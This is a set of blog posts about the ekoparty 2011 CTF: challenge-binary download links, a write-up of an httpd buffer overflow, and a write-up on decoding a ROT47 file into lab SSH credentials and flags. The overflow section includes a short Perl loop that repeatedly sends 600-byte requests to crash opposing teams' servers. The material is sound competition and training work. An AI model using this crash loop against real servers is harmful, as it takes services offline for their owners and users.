Challenges & Binaries [ekoparty 2011 CTF]

On this day I'm uploading the binaries & challenges presented in the ekoparty 2011 CTF. Some solutions and tips were raised in the following posts:

http://localh0t.blogspot.com/2011/09/ekoparty-2011-ctf-bin-writeup.html

http://localh0t.blogspot.com/2011/09/ekoparty-2011-ctf-httpd-daemon-buffer.html


Download (mediafire, new link 03/02/12):
http://www.mediafire.com/?akdou1o1ac5f0z4

Download (multiple mirrors):

http://www.multiupload.com/BG36N6BKY8

Password: localh0t.com.ar



Enjoy.

ekoparty 2011 CTF [httpd daemon buffer overflow] [Attack-Defense writeup]

We continue with the binaries presented in the ekoparty 2011 CTF.
This time we analyze the "daemon1" which is the httpd server running on port 5050.

After a bit of fuzzing, we discovered that the server crash with long requests (GET /XXX [...])

  

Here we can see the crash in gdb:

First we try to exploit the daemon1 and get flag.txt token. But due to time and some protection of the binary we decided to use it to attack and defend at the same time.

Note: If the Scoreboard bot detect's your port 5050 closed (or another daemon with different port running on the server), it will increase yout defense points (wich is a bad thing, you have to keep your attack points higher as possible and defense points lower as possible). With that in mind, we can use this for:

Attack:

Let's make some dirty code to down the 5050 port's of the another server's:

#!/usr/bin/perl
use LWP::Simple;

($host, $port) = @ARGV;
$payload = "A"x600;

while(1)
{
    $response=get("http://".$host.":".$port."/".$payload);
    sleep(1);
}

__END__

With this, opposites teams "wins" defense points, and because of that, loose overall points (The scoreboard bot checks and cannot connect to the port 5050 of the another teams).

Defense: 

2 options here, first make a script that automatically wake up your httpd server after crash (not very reliable), and two, listen a non-vulnerable server (like apache) on port 5050 (Not tested, we do not know if it meets the rules).

writeup by: localh0t (@mattdch) 

ekoparty 2011 CTF [Bin] [writeup]

During the last week I have been in the ekoparty security conference, held in Buenos Aires, Argentina. My team (Kcho Team) was pleased to win the competition (after a long-stressed battle). Here is the Bin writeup:



After some scanning with Nmap, we realize that the 10 IP's (10.10.1-10.68) had ports: 3030, 2011 and 5050 open. Moreover, in the port 5050 was running an http daemon. After quick dir-scan, we discover an interesting file in /image/bin in the 10 servers (different for different servers):

C2726=i ?@AC@3=6>@
7=28i `2675_`432672hg6`4c3f5c46cfb45e`
4@56i ab`ahbcdhf`ae`ae

Analyzing this springs to mind "ROT 13", but with no luck. After quick scripting, ROT47

is the answer:

rafael: noproblemo  

flag: 1aefd01cbaefa98e1c4b7d4ce473cd61  

code:   2312934597126126

rafael : noproblemo => SSH Login for that server.
1aefd01cbaefa98e1c4b7d4ce473cd61  => Flag to submit for "Bin" challenge.
2312934597126126 => code to use after login. Code can be used one time on each server. Some codes also show flags after succesful login.


writeup by: localh0t (@mattdch)